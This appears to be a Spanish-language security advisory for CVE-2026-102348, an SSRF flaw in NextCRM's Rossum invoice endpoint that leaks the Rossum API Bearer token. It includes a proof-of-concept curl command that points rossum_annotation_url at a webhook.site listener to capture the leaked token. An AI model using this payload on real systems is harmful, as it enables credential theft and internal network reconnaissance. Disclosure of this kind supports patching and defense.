Noticia

CVE-2026-102348: SSRF y fuga de credenciales en NextCRM

· ValdiviaSec

Se publicó el CVE-2026-102348, una vulnerabilidad de Server-Side Request Forgery (SSRF) con fuga de credenciales sensibles descubierta por Xavier Magallanes en NextCRM, en el endpoint de integración con Rossum.

Identificador CVE-2026-102348
CVSS v3.1 9.1 CRÍTICO
Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
CWE CWE-918 (Server-Side Request Forgery)
Versiones afectadas nextcrm-app < 0.18.0
Versión corregida nextcrm-app v0.18.0

Resumen

Una vulnerabilidad de SSRF en el endpoint /api/invoice/rossum/get-rossum-embedded-url permite a atacantes autenticados forzar al servidor a realizar peticiones arbitrarias hacia infraestructura externa o interna. Como la aplicación adjunta automáticamente tokens de autenticación de la API (Bearer Token) a estas peticiones, la falla resulta en la filtración inmediata de las credenciales de la API de Rossum y habilita el reconocimiento de la red interna.

Detalles técnicos

La vulnerabilidad existe por una validación insuficiente del parámetro rossum_annotation_url dentro del cuerpo de la petición POST. La lógica del servidor consume esta URL proporcionada por el usuario para realizar una petición HTTP en el backend.

Al no validar adecuadamente el destino de la URL, un usuario autenticado (incluso con privilegios bajos) puede apuntar el parámetro hacia un servidor que controla, y el servidor vulnerable realizará la petición adjuntando el token de acceso a Rossum en las cabeceras.

Prueba de concepto

  1. Levantar un listener (por ejemplo, usando webhook.site o un servidor Node.js local) para capturar la petición.
  2. Autenticarse en el CRM y obtener un token de sesión válido (puede ser un usuario de bajo privilegio).
  3. Ejecutar el exploit con curl, apuntando rossum_annotation_url hacia el listener:
curl -X POST "http://localhost:3000/api/invoice/rossum/get-rossum-embedded-url" \
  -H "Cookie: next-auth.session-token=<SESSION_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
        "rossum_annotation_url": "https://webhook.site/67b5bc24-e790-4608-a2af-e9ff6b0b337a"
      }'
  1. Revisar el listener: se recibe una petición saliente del servidor vulnerable que incluye el Bearer Token de la API de Rossum.

Impacto

Un atacante puede obtener el token de la API de Rossum, lo que le otorga acceso completo a la información de la organización almacenada en el servicio Rossum. Entre las consecuencias:

  • Filtración de credenciales — el Bearer Token de Rossum queda expuesto.
  • Reconocimiento de red interna — el SSRF permite escanear y mapear servicios internos.
  • Acceso a datos de la organización — el token filtrado da acceso a la información gestionada por Rossum.

Referencias